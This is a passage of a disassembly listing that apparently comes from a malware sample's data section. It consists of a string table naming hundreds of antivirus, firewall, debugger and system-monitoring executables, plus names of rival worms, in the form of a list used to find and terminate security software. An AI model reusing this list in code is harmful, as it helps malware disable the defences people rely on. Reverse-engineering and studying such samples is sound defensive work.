		dd offset aEmsw_exe	; "EMSW.EXE"
		dd offset aEnt_exe	; "ENT.EXE"
		dd offset aEsafe_exe	; "ESAFE.EXE"
		dd offset aEscanh95_exe	; "ESCANH95.EXE"
		dd offset aEscanhnt_exe	; "ESCANHNT.EXE"
		dd offset aEscanv95_exe	; "ESCANV95.EXE"
		dd offset aEspwatch_exe	; "ESPWATCH.EXE"
		dd offset aEthereal_exe	; "ETHEREAL.EXE"
		dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE"
		dd offset aEvpn_exe	; "EVPN.EXE"
		dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE"
		dd offset aExe_avxw_exe	; "EXE.AVXW.EXE"
		dd offset aExpert_exe	; "EXPERT.EXE"
		dd offset aExplore_exe	; "EXPLORE.EXE"
		dd offset aFAgnt95_exe	; "F-AGNT95.EXE"
		dd offset aFProt_exe	; "F-PROT.EXE"
		dd offset aFProt95_exe	; "F-PROT95.EXE"
		dd offset aFStopw_exe	; "F-STOPW.EXE"
		dd offset aFameh32_exe	; "FAMEH32.EXE"
		dd offset aFast_exe	; "FAST.EXE"
		dd offset aFch32_exe	; "FCH32.EXE"
		dd offset aFih32_exe	; "FIH32.EXE"
		dd offset aFindviru_exe	; "FINDVIRU.EXE"
		dd offset aFirewall_exe	; "FIREWALL.EXE"
		dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE"
		dd offset aFnrb32_exe	; "FNRB32.EXE"
		dd offset aFpWin_exe	; "FP-WIN.EXE"
		dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE"
		dd offset aFprot_exe	; "FPROT.EXE"
		dd offset aFrw_exe	; "FRW.EXE"
		dd offset aFsaa_exe	; "FSAA.EXE"
		dd offset aFsav_exe	; "FSAV.EXE"
		dd offset aFsav32_exe	; "FSAV32.EXE"
		dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE"
		dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE"
		dd offset aFsav95_exe	; "FSAV95.EXE"
		dd offset aFsgk32_exe	; "FSGK32.EXE"
		dd offset aFsm32_exe	; "FSM32.EXE"
		dd offset aFsma32_exe	; "FSMA32.EXE"
		dd offset aFsmb32_exe	; "FSMB32.EXE"
		dd offset aGator_exe	; "GATOR.EXE"
		dd offset aGbmenu_exe	; "GBMENU.EXE"
		dd offset aGbpoll_exe	; "GBPOLL.EXE"
		dd offset aGenerics_exe	; "GENERICS.EXE"
		dd offset aGmt_exe	; "GMT.EXE"
		dd offset aGuard_exe	; "GUARD.EXE"
		dd offset aGuarddog_exe	; "GUARDDOG.EXE"
		dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE"
		dd offset aHbinst_exe	; "HBINST.EXE"
		dd offset aHbsrv_exe	; "HBSRV.EXE"
		dd offset aHotactio_exe	; "HOTACTIO.EXE"
		dd offset aHotpatch_exe	; "HOTPATCH.EXE"
		dd offset aHtlog_exe	; "HTLOG.EXE"
		dd offset aHtpatch_exe	; "HTPATCH.EXE"
		dd offset aHwpe_exe	; "HWPE.EXE"
		dd offset aHxdl_exe	; "HXDL.EXE"
		dd offset aHxiul_exe	; "HXIUL.EXE"
		dd offset aIamapp_exe	; "IAMAPP.EXE"
		dd offset aIamserv_exe	; "IAMSERV.EXE"
		dd offset aIamstats_exe	; "IAMSTATS.EXE"
		dd offset aIbmasn_exe	; "IBMASN.EXE"
		dd offset aIbmavsp_exe	; "IBMAVSP.EXE"
		dd offset aIcload95_exe	; "ICLOAD95.EXE"
		dd offset aIcloadnt_exe	; "ICLOADNT.EXE"
		dd offset aIcmon_exe	; "ICMON.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsuppnt_exe	; "ICSUPPNT.EXE"
		dd offset aIdle_exe	; "IDLE.EXE"
		dd offset aIedll_exe	; "IEDLL.EXE"
		dd offset aIedriver_exe	; "IEDRIVER.EXE"
		dd offset aIexplorer_exe ; "IEXPLORER.EXE"
		dd offset aIface_exe	; "IFACE.EXE"
		dd offset aIfw2000_exe	; "IFW2000.EXE"
		dd offset aInetlnfo_exe	; "INETLNFO.EXE"
		dd offset aInfus_exe	; "INFUS.EXE"
		dd offset aInfwin_exe	; "INFWIN.EXE"
		dd offset aInit_exe	; "INIT.EXE"
		dd offset aIntdel_exe	; "INTDEL.EXE"
		dd offset aIntren_exe	; "INTREN.EXE"
		dd offset aIomon98_exe	; "IOMON98.EXE"
		dd offset aIparmor_exe	; "IPARMOR.EXE"
		dd offset aIris_exe	; "IRIS.EXE"
		dd offset aIsass_exe	; "ISASS.EXE"
		dd offset aIsrv95_exe	; "ISRV95.EXE"
		dd offset aIstsvc_exe	; "ISTSVC.EXE"
		dd offset aJammer_exe	; "JAMMER.EXE"
		dd offset aJdbgmrg_exe	; "JDBGMRG.EXE"
		dd offset aJedi_exe	; "JEDI.EXE"
		dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE"
		dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE"
		dd offset aKavpf_exe	; "KAVPF.EXE"
		dd offset aKazza_exe	; "KAZZA.EXE"
		dd offset aKeenvalue_exe ; "KEENVALUE.EXE"
		dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE"
		dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE"
		dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE"
		dd offset aKernel32_exe	; "KERNEL32.EXE"
		dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE"
		dd offset aLauncher_exe	; "LAUNCHER.EXE"
		dd offset aLdnetmon_exe	; "LDNETMON.EXE"
		dd offset aLdpro_exe	; "LDPRO.EXE"
		dd offset aLdpromenu_exe ; "LDPROMENU.EXE"
		dd offset aLdscan_exe	; "LDSCAN.EXE"
		dd offset aLnetinfo_exe	; "LNETINFO.EXE"
		dd offset aLoader_exe	; "LOADER.EXE"
		dd offset aLocalnet_exe	; "LOCALNET.EXE"
		dd offset aLockdown_exe	; "LOCKDOWN.EXE"
		dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE"
		dd offset aLookout_exe	; "LOOKOUT.EXE"
		dd offset aLordpe_exe	; "LORDPE.EXE"
		dd offset aLsetup_exe	; "LSETUP.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuau_exe	; "LUAU.EXE"
		dd offset aLucomserver_ex ; "LUCOMSERVER.EXE"
		dd offset aLuinit_exe	; "LUINIT.EXE"
		dd offset aLuspt_exe	; "LUSPT.EXE"
		dd offset aMapisvc32_exe ; "MAPISVC32.EXE"
		dd offset aMcagent_exe	; "MCAGENT.EXE"
		dd offset aMcmnhdlr_exe	; "MCMNHDLR.EXE"
		dd offset aMcshield_exe	; "MCSHIELD.EXE"
		dd offset aMctool_exe	; "MCTOOL.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcvsrte_exe	; "MCVSRTE.EXE"
		dd offset aMcvsshld_exe	; "MCVSSHLD.EXE"
		dd offset aMd_exe	; "MD.EXE"
		dd offset aMfin32_exe	; "MFIN32.EXE"
		dd offset aMfw2en_exe	; "MFW2EN.EXE"
		dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE"
		dd offset aMgavrtcl_exe	; "MGAVRTCL.EXE"
		dd offset aMgavrte_exe	; "MGAVRTE.EXE"
		dd offset aMghtml_exe	; "MGHTML.EXE"
		dd offset aMgui_exe	; "MGUI.EXE"
		dd offset aMinilog_exe	; "MINILOG.EXE"
		dd offset aMmod_exe	; "MMOD.EXE"
		dd offset aMonitor_exe	; "MONITOR.EXE"
		dd offset aMoolive_exe	; "MOOLIVE.EXE"
		dd offset aMostat_exe	; "MOSTAT.EXE"
		dd offset aMpfagent_exe	; "MPFAGENT.EXE"
		dd offset aMpfservice_exe ; "MPFSERVICE.EXE"
		dd offset aMpftray_exe	; "MPFTRAY.EXE"
		dd offset aMrflux_exe	; "MRFLUX.EXE"
		dd offset aMsapp_exe	; "MSAPP.EXE"
		dd offset aMsbb_exe	; "MSBB.EXE"
		dd offset aMsblast_exe	; "MSBLAST.EXE"
		dd offset aMscache_exe	; "MSCACHE.EXE"
		dd offset aMsccn32_exe	; "MSCCN32.EXE"
		dd offset aMscman_exe	; "MSCMAN.EXE"
		dd offset aMsconfig_exe	; "MSCONFIG.EXE"
		dd offset aMsdm_exe	; "MSDM.EXE"
		dd offset aMsdos_exe	; "MSDOS.EXE"
		dd offset aMsiexec16_exe ; "MSIEXEC16.EXE"
		dd offset aMsinfo32_exe	; "MSINFO32.EXE"
		dd offset aMslaugh_exe	; "MSLAUGH.EXE"
		dd offset aMsmgt_exe	; "MSMGT.EXE"
		dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE"
		dd offset aMssmmc32_exe	; "MSSMMC32.EXE"
		dd offset aMssys_exe	; "MSSYS.EXE"
		dd offset aMsvxd_exe	; "MSVXD.EXE"
		dd offset aMu0311ad_exe	; "MU0311AD.EXE"
		dd offset aMwatch_exe	; "MWATCH.EXE"
		dd offset aN32scanw_exe	; "N32SCANW.EXE"
		dd offset aNav_exe	; "NAV.EXE"
		dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE"
		dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE"
		dd offset aNavapsvc_exe	; "NAVAPSVC.EXE"
		dd offset aNavapw32_exe	; "NAVAPW32.EXE"
		dd offset aNavdx_exe	; "NAVDX.EXE"
		dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE"
		dd offset aNavlu32_exe	; "NAVLU32.EXE"
		dd offset aNavnt_exe	; "NAVNT.EXE"
		dd offset aNavstub_exe	; "NAVSTUB.EXE"
		dd offset aNavw32_exe	; "NAVW32.EXE"
		dd offset aNavwnt_exe	; "NAVWNT.EXE"
		dd offset aNc2000_exe	; "NC2000.EXE"
		dd offset aNcinst4_exe	; "NCINST4.EXE"
		dd offset aNdd32_exe	; "NDD32.EXE"
		dd offset aNeomonitor_exe ; "NEOMONITOR.EXE"
		dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE"
		dd offset aNetarmor_exe	; "NETARMOR.EXE"
		dd offset aNetd32_exe	; "NETD32.EXE"
		dd offset aNetinfo_exe	; "NETINFO.EXE"
		dd offset aNetmon_exe	; "NETMON.EXE"
		dd offset aNetscanpro_exe ; "NETSCANPRO.EXE"
		dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE"
		dd offset aNetstat_exe	; "NETSTAT.EXE"
		dd offset aNetutils_exe	; "NETUTILS.EXE"
		dd offset aNisserv_exe	; "NISSERV.EXE"
		dd offset aNisum_exe	; "NISUM.EXE"
		dd offset aNmain_exe	; "NMAIN.EXE"
		dd offset aNod32_exe	; "NOD32.EXE"
		dd offset aNormist_exe	; "NORMIST.EXE"
		dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE"
		dd offset aNotstart_exe	; "NOTSTART.EXE"
		dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE"
		dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE"
		dd offset aNprotect_exe	; "NPROTECT.EXE"
		dd offset aNpscheck_exe	; "NPSCHECK.EXE"
		dd offset aNpssvc_exe	; "NPSSVC.EXE"
		dd offset aNsched32_exe	; "NSCHED32.EXE"
		dd offset aNssys32_exe	; "NSSYS32.EXE"
		dd offset aNstask32_exe	; "NSTASK32.EXE"
		dd offset aNsupdate_exe	; "NSUPDATE.EXE"
		dd offset aNt_exe	; "NT.EXE"
		dd offset aNtrtscan_exe	; "NTRTSCAN.EXE"
		dd offset aNtvdm_exe	; "NTVDM.EXE"
		dd offset aNtxconfig_exe ; "NTXconfig.EXE"
		dd offset aNui_exe	; "NUI.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNvarch16_exe	; "NVARCH16.EXE"
		dd offset aNvc95_exe	; "NVC95.EXE"
		dd offset aNvsvc32_exe	; "NVSVC32.EXE"
		dd offset aNwinst4_exe	; "NWINST4.EXE"
		dd offset aNwservice_exe ; "NWSERVICE.EXE"
		dd offset aNwtool16_exe	; "NWTOOL16.EXE"
		dd offset aOllydbg_exe	; "OLLYDBG.EXE"
		dd offset aOnsrvr_exe	; "ONSRVR.EXE"
		dd offset aOptimize_exe	; "OPTIMIZE.EXE"
		dd offset aOstronet_exe	; "OSTRONET.EXE"
		dd offset aOtfix_exe	; "OTFIX.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE"
		dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE"
		dd offset aPadmin_exe	; "PADMIN.EXE"
		dd offset aPanixk_exe	; "PANIXK.EXE"
		dd offset aPatch_exe	; "PATCH.EXE"
		dd offset aPavcl_exe	; "PAVCL.EXE"
		dd offset aPavproxy_exe	; "PAVPROXY.EXE"
		dd offset aPavsched_exe	; "PAVSCHED.EXE"
		dd offset aPavw_exe	; "PAVW.EXE"
		dd offset aPcc2002s902_ex ; "PCC2002S902.EXE"
		dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE"
		dd offset aPcciomon_exe	; "PCCIOMON.EXE"
		dd offset aPccntmon_exe	; "PCCNTMON.EXE"
		dd offset aPccwin97_exe	; "PCCWIN97.EXE"
		dd offset aPccwin98_exe	; "PCCWIN98.EXE"
		dd offset aPcdsetup_exe	; "PCDSETUP.EXE"
		dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE"
		dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE"
		dd offset aPcscan_exe	; "PCSCAN.EXE"
		dd offset aPdsetup_exe	; "PDSETUP.EXE"
		dd offset aPenis_exe	; "PENIS.EXE"
		dd offset aPeriscope_exe ; "PERISCOPE.EXE"
		dd offset aPersfw_exe	; "PERSFW.EXE"
		dd offset aPerswf_exe	; "PERSWF.EXE"
		dd offset aPf2_exe	; "PF2.EXE"
		dd offset aPfwadmin_exe	; "PFWADMIN.EXE"
		dd offset aPgmonitr_exe	; "PGMONITR.EXE"
		dd offset aPingscan_exe	; "PINGSCAN.EXE"
		dd offset aPlatin_exe	; "PLATIN.EXE"
		dd offset aPop3trap_exe	; "POP3TRAP.EXE"
		dd offset aPoproxy_exe	; "POPROXY.EXE"
		dd offset aPopscan_exe	; "POPSCAN.EXE"
		dd offset aPortdetective_ ; "PORTDETECTIVE.EXE"
		dd offset aPortmonitor_ex ; "PORTMONITOR.EXE"
		dd offset aPowerscan_exe ; "POWERSCAN.EXE"
		dd offset aPpinupdt_exe	; "PPINUPDT.EXE"
		dd offset aPptbc_exe	; "PPTBC.EXE"
		dd offset aPpvstop_exe	; "PPVSTOP.EXE"
		dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE"
		dd offset aPrmt_exe	; "PRMT.EXE"
		dd offset aPrmvr_exe	; "PRMVR.EXE"
		dd offset aProcdump_exe	; "PROCDUMP.EXE"
		dd offset aProcessmonitor ; "PROCESSMONITOR.EXE"
		dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE"
		dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE"
		dd offset aProport_exe	; "PROPORT.EXE"
		dd offset aProtectx_exe	; "PROTECTX.EXE"
		dd offset aPspf_exe	; "PSPF.EXE"
		dd offset aPurge_exe	; "PURGE.EXE"
		dd offset aPussy_exe	; "PUSSY.EXE"
		dd offset aPview95_exe	; "PVIEW95.EXE"
		dd offset aQconsole_exe	; "QCONSOLE.EXE"
		dd offset aQserver_exe	; "QSERVER.EXE"
		dd offset aRapapp_exe	; "RAPAPP.EXE"
		dd offset aRav7_exe	; "RAV7.EXE"
		dd offset aRav7win_exe	; "RAV7WIN.EXE"
		dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE"
		dd offset aRay_exe	; "RAY.EXE"
		dd offset aRb32_exe	; "RB32.EXE"
		dd offset aRcsync_exe	; "RCSYNC.EXE"
		dd offset aRealmon_exe	; "REALMON.EXE"
		dd offset aReged_exe	; "REGED.EXE"
		dd offset aRegedit_exe	; "REGEDIT.EXE"
		dd offset aRegedt32_exe	; "REGEDT32.EXE"
		dd offset aRescue_exe	; "RESCUE.EXE"
		dd offset aRescue32_exe	; "RESCUE32.EXE"
		dd offset aRrguard_exe	; "RRGUARD.EXE"
		dd offset aRshell_exe	; "RSHELL.EXE"
		dd offset aRtvscan_exe	; "RTVSCAN.EXE"
		dd offset aRtvscn95_exe	; "RTVSCN95.EXE"
		dd offset aRulaunch_exe	; "RULAUNCH.EXE"
		dd offset aRun32dll_exe	; "RUN32DLL.EXE"
		dd offset aRundll_exe	; "RUNDLL.EXE"
		dd offset aRundll16_exe	; "RUNDLL16.EXE"
		dd offset aRuxdll32_exe	; "RUXDLL32.EXE"
		dd offset aSafeweb_exe	; "SAFEWEB.EXE"
		dd offset aSahagent_exe	; "SAHAGENT.EXE"
		dd offset aSave_exe	; "SAVE.EXE"
		dd offset aSavenow_exe	; "SAVENOW.EXE"
		dd offset aSbserv_exe	; "SBSERV.EXE"
		dd offset aSc_exe	; "SC.EXE"
		dd offset aScam32_exe	; "SCAM32.EXE"
		dd offset aScan32_exe	; "SCAN32.EXE"
		dd offset aScan95_exe	; "SCAN95.EXE"
		dd offset aScanpm_exe	; "SCANPM.EXE"
		dd offset aScrscan_exe	; "SCRSCAN.EXE"
		dd offset aScrsvr_exe	; "SCRSVR.EXE"
		dd offset aScvhost_exe	; "SCVHOST.EXE"
		dd offset aSd_exe	; "SD.EXE"
		dd offset aServ95_exe	; "SERV95.EXE"
		dd offset aService_exe	; "SERVICE.EXE"
		dd offset aServlce_exe	; "SERVLCE.EXE"
		dd offset aServlces_exe	; "SERVLCES.EXE"
		dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE"
		dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE"
		dd offset aSfc_exe	; "SFC.EXE"
		dd offset aSgssfw32_exe	; "SGSSFW32.EXE"
		dd offset aSh_exe	; "SH.EXE"
		dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE"
		dd offset aShn_exe	; "SHN.EXE"
		dd offset aShowbehind_exe ; "SHOWBEHIND.EXE"
		dd offset aSmc_exe	; "SMC.EXE"
		dd offset aSms_exe	; "SMS.EXE"
		dd offset aSmss32_exe	; "SMSS32.EXE"
		dd offset aSoap_exe	; "SOAP.EXE"
		dd offset aSofi_exe	; "SOFI.EXE"
		dd offset aSperm_exe	; "SPERM.EXE"
		dd offset aSpf_exe	; "SPF.EXE"
		dd offset aSphinx_exe	; "SPHINX.EXE"
		dd offset aSpoler_exe	; "SPOLER.EXE"
		dd offset aSpoolcv_exe	; "SPOOLCV.EXE"
		dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE"
		dd offset aSpyxx_exe	; "SPYXX.EXE"
		dd offset aSrexe_exe	; "SREXE.EXE"
		dd offset aSrng_exe	; "SRNG.EXE"
		dd offset aSs3edit_exe	; "SS3EDIT.EXE"
		dd offset aSsgrate_exe	; "SSGRATE.EXE"
		dd offset aSsg_4104_exe	; "SSG_4104.EXE"
		dd offset aSt2_exe	; "ST2.EXE"
		dd offset aStart_exe	; "START.EXE"
		dd offset aStcloader_exe ; "STCLOADER.EXE"
		dd offset aSupftrl_exe	; "SUPFTRL.EXE"
		dd offset aSupport_exe	; "SUPPORT.EXE"
		dd offset aSupporter5_exe ; "SUPPORTER5.EXE"
		dd offset aSvc_exe	; "SVC.EXE"
		dd offset aSvchostc_exe	; "SVCHOSTC.EXE"
		dd offset aSvchosts_exe	; "SVCHOSTS.EXE"
		dd offset aSvshost_exe	; "SVSHOST.EXE"
		dd offset aSweep95_exe	; "SWEEP95.EXE"
		dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE"
		dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE"
		dd offset aSymtray_exe	; "SYMTRAY.EXE"
		dd offset aSysedit_exe	; "SYSEDIT.EXE"
		dd offset aSystem_exe	; "SYSTEM.EXE"
		dd offset aSystem32_exe	; "SYSTEM32.EXE"
		dd offset aSysupd_exe	; "SYSUPD.EXE"
		dd offset aTaskmg_exe	; "TASKMG.EXE"
		dd offset aTaskmo_exe	; "TASKMO.EXE"
		dd offset aTaskmon_exe	; "TASKMON.EXE"
		dd offset aTaumon_exe	; "TAUMON.EXE"
		dd offset aTbscan_exe	; "TBSCAN.EXE"
		dd offset aTc_exe	; "TC.EXE"
		dd offset aTca_exe	; "TCA.EXE"
		dd offset aTcm_exe	; "TCM.EXE"
		dd offset aTds3_exe	; "TDS-3.EXE"
		dd offset aTds298_exe	; "TDS2-98.EXE"
		dd offset aTds2Nt_exe	; "TDS2-NT.EXE"
		dd offset aTeekids_exe	; "TEEKIDS.EXE"
		dd offset aTfak_exe	; "TFAK.EXE"
		dd offset aTfak5_exe	; "TFAK5.EXE"
		dd offset aTgbob_exe	; "TGBOB.EXE"
		dd offset aTitanin_exe	; "TITANIN.EXE"
		dd offset aTitaninxp_exe ; "TITANINXP.EXE"
		dd offset aTracert_exe	; "TRACERT.EXE"
		dd offset aTrickler_exe	; "TRICKLER.EXE"
		dd offset aTrjscan_exe	; "TRJSCAN.EXE"
		dd offset aTrjsetup_exe	; "TRJSETUP.EXE"
		dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE"
		dd offset aTsadbot_exe	; "TSADBOT.EXE"
		dd offset aTvmd_exe	; "TVMD.EXE"
		dd offset aTvtmd_exe	; "TVTMD.EXE"
		dd offset aUndoboot_exe	; "UNDOBOOT.EXE"
		dd offset aUpdat_exe	; "UPDAT.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpgrad_exe	; "UPGRAD.EXE"
		dd offset aUtpost_exe	; "UTPOST.EXE"
		dd offset aVbcmserv_exe	; "VBCMSERV.EXE"
		dd offset aVbcons_exe	; "VBCONS.EXE"
		dd offset aVbust_exe	; "VBUST.EXE"
		dd offset aVbwin9x_exe	; "VBWIN9X.EXE"
		dd offset aVbwinntw_exe	; "VBWINNTW.EXE"
		dd offset aVcsetup_exe	; "VCSETUP.EXE"
		dd offset aVet32_exe	; "VET32.EXE"
		dd offset aVet95_exe	; "VET95.EXE"
		dd offset aVettray_exe	; "VETTRAY.EXE"
		dd offset aVfsetup_exe	; "VFSETUP.EXE"
		dd offset aVirHelp_exe	; "VIR-HELP.EXE"
		dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE"
		dd offset aVnlan300_exe	; "VNLAN300.EXE"
		dd offset aVnpc3000_exe	; "VNPC3000.EXE"
		dd offset aVpc32_exe	; "VPC32.EXE"
		dd offset aVpc42_exe	; "VPC42.EXE"
		dd offset aVpfw30s_exe	; "VPFW30S.EXE"
		dd offset aVptray_exe	; "VPTRAY.EXE"
		dd offset aVscan40_exe	; "VSCAN40.EXE"
		dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE"
		dd offset aVsched_exe	; "VSCHED.EXE"
		dd offset aVsecomr_exe	; "VSECOMR.EXE"
		dd offset aVshwin32_exe	; "VSHWIN32.EXE"
		dd offset aVsisetup_exe	; "VSISETUP.EXE"
		dd offset aVsmain_exe	; "VSMAIN.EXE"
		dd offset aVsmon_exe	; "VSMON.EXE"
		dd offset aVsstat_exe	; "VSSTAT.EXE"
		dd offset aVswin9xe_exe	; "VSWIN9XE.EXE"
		dd offset aVswinntse_exe ; "VSWINNTSE.EXE"
		dd offset aVswinperse_exe ; "VSWINPERSE.EXE"
		dd offset aW32dsm89_exe	; "W32DSM89.EXE"
		dd offset aW9x_exe	; "W9X.EXE"
		dd offset aWatchdog_exe	; "WATCHDOG.EXE"
		dd offset aWebdav_exe	; "WEBDAV.EXE"
		dd offset aWebscanx_exe	; "WEBSCANX.EXE"
		dd offset aWebtrap_exe	; "WEBTRAP.EXE"
		dd offset aWfindv32_exe	; "WFINDV32.EXE"
		dd offset aWgfe95_exe	; "WGFE95.EXE"
		dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE"
		dd offset aWimmun32_exe	; "WIMMUN32.EXE"
		dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE"
		dd offset aWin32_exe	; "WIN32.EXE"
		dd offset aWin32us_exe	; "WIN32US.EXE"
		dd offset aWinactive_exe ; "WINACTIVE.EXE"
		dd offset aWindow_exe	; "WINDOW.EXE"
		dd offset aWindows_exe	; "WINDOWS.EXE"
		dd offset aWininetd_exe	; "WININETD.EXE"
		dd offset aWininit_exe	; "WININIT.EXE"
		dd offset byte_435248
		dd offset aWinlogin_exe	; "WINLOGIN.EXE"
		dd offset aWinmain_exe	; "WINMAIN.EXE"
		dd offset aWinnet_exe	; "WINNET.EXE"
		dd offset aWinppr32_exe	; "WINPPR32.EXE"
		dd offset aWinrecon_exe	; "WINRECON.EXE"
		dd offset aWinservn_exe	; "WINSERVN.EXE"
		dd offset aWinssk32_exe	; "WINSSK32.EXE"
		dd offset aWinstart_exe	; "WINSTART.EXE"
		dd offset aWinstart001_ex ; "WINSTART001.EXE"
		dd offset aWintsk32_exe	; "WINTSK32.EXE"
		dd offset aWinupdate_exe ; "WINUPDATE.EXE"
		dd offset aWkufind_exe	; "WKUFIND.EXE"
		dd offset aWnad_exe	; "WNAD.EXE"
		dd offset aWnt_exe	; "WNT.EXE"
		dd offset aWradmin_exe	; "WRADMIN.EXE"
		dd offset aWrctrl_exe	; "WRCTRL.EXE"
		dd offset aWsbgate_exe	; "WSBGATE.EXE"
		dd offset aWupdater_exe	; "WUPDATER.EXE"
		dd offset aWupdt_exe	; "WUPDT.EXE"
		dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE"
		dd offset aXpf202en_exe	; "XPF202EN.EXE"
		dd offset aZapro_exe	; "ZAPRO.EXE"
		dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE"
		dd offset aZatutor_exe	; "ZATUTOR.EXE"
		dd offset aZonalm2601_exe ; "ZONALM2601.EXE"
		dd offset aZonealarm_exe ; "ZONEALARM.EXE"
		dd offset a_avp32_exe	; "_AVP32.EXE"
		dd offset a_avpcc_exe	; "_AVPCC.EXE"
		dd offset a_avpm_exe	; "_AVPM.EXE"
		dd offset aHijackthis_exe ; "HIJACKTHIS.EXE"
		dd offset aFAgobot_exe	; "F-AGOBOT.EXE"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset aSysinfo_exe	; "sysinfo.exe"
		dd offset aMscvb32_exe	; "mscvb32.exe"
		dd offset aPenis32_exe	; "Penis32.exe"
		dd offset aBbeagle_exe	; "bbeagle.exe"
		dd offset aSysmonxp_exe	; "SysMonXP.exe"
		dd offset aWinupd_exe	; "winupd.exe"
		dd offset aWinsys_exe	; "winsys.exe"
		dd offset aSsate_exe	; "ssate.exe"
		dd offset aRate_exe	; "rate.exe"
		dd offset aD3dupdate_exe ; "d3dupdate.exe"
		dd offset aIrun4_exe	; "irun4.exe"
		dd offset aI11r54n4_exe	; "i11r54n4.exe"
aI11r54n4_exe	db 'i11r54n4.exe',0     ; DATA XREF: sub_4123B8+ECo
					; .data:00434FD4o
		align 4
aIrun4_exe	db 'irun4.exe',0        ; DATA XREF: .data:00434FD0o
		align 4
aD3dupdate_exe	db 'd3dupdate.exe',0    ; DATA XREF: .data:00434FCCo
		align 4
aRate_exe	db 'rate.exe',0         ; DATA XREF: .data:00434FC8o
		align 10h
aSsate_exe	db 'ssate.exe',0        ; DATA XREF: .data:00434FC4o
		align 4
aWinsys_exe	db 'winsys.exe',0       ; DATA XREF: .data:00434FC0o
		align 4
aWinupd_exe	db 'winupd.exe',0       ; DATA XREF: .data:00434FBCo
		align 4
aSysmonxp_exe	db 'SysMonXP.exe',0     ; DATA XREF: .data:00434FB8o
		align 4
aBbeagle_exe	db 'bbeagle.exe',0      ; DATA XREF: .data:00434FB4o
aPenis32_exe	db 'Penis32.exe',0      ; DATA XREF: .data:00434FB0o
aMscvb32_exe	db 'mscvb32.exe',0      ; DATA XREF: .data:00434FACo
aSysinfo_exe	db 'sysinfo.exe',0      ; DATA XREF: .data:00434FA8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .data:00434FA4o
		align 4
aFAgobot_exe	db 'F-AGOBOT.EXE',0     ; DATA XREF: .data:00434FA0o
		align 4
aHijackthis_exe	db 'HIJACKTHIS.EXE',0   ; DATA XREF: .data:00434F9Co
		align 4
a_avpm_exe	db '_AVPM.EXE',0        ; DATA XREF: .data:00434F98o
		align 4
a_avpcc_exe	db '_AVPCC.EXE',0       ; DATA XREF: .data:00434F94o
		align 10h
a_avp32_exe	db '_AVP32.EXE',0       ; DATA XREF: .data:00434F90o
		align 4
aZonealarm_exe	db 'ZONEALARM.EXE',0    ; DATA XREF: .data:00434F8Co
		align 4
aZonalm2601_exe	db 'ZONALM2601.EXE',0   ; DATA XREF: .data:00434F88o
		align 4
aZatutor_exe	db 'ZATUTOR.EXE',0      ; DATA XREF: .data:00434F84o
aZapsetup3001_e	db 'ZAPSETUP3001.EXE',0 ; DATA XREF: .data:00434F80o
		align 4
aZapro_exe	db 'ZAPRO.EXE',0        ; DATA XREF: .data:00434F7Co
		align 4
aXpf202en_exe	db 'XPF202EN.EXE',0     ; DATA XREF: .data:00434F78o
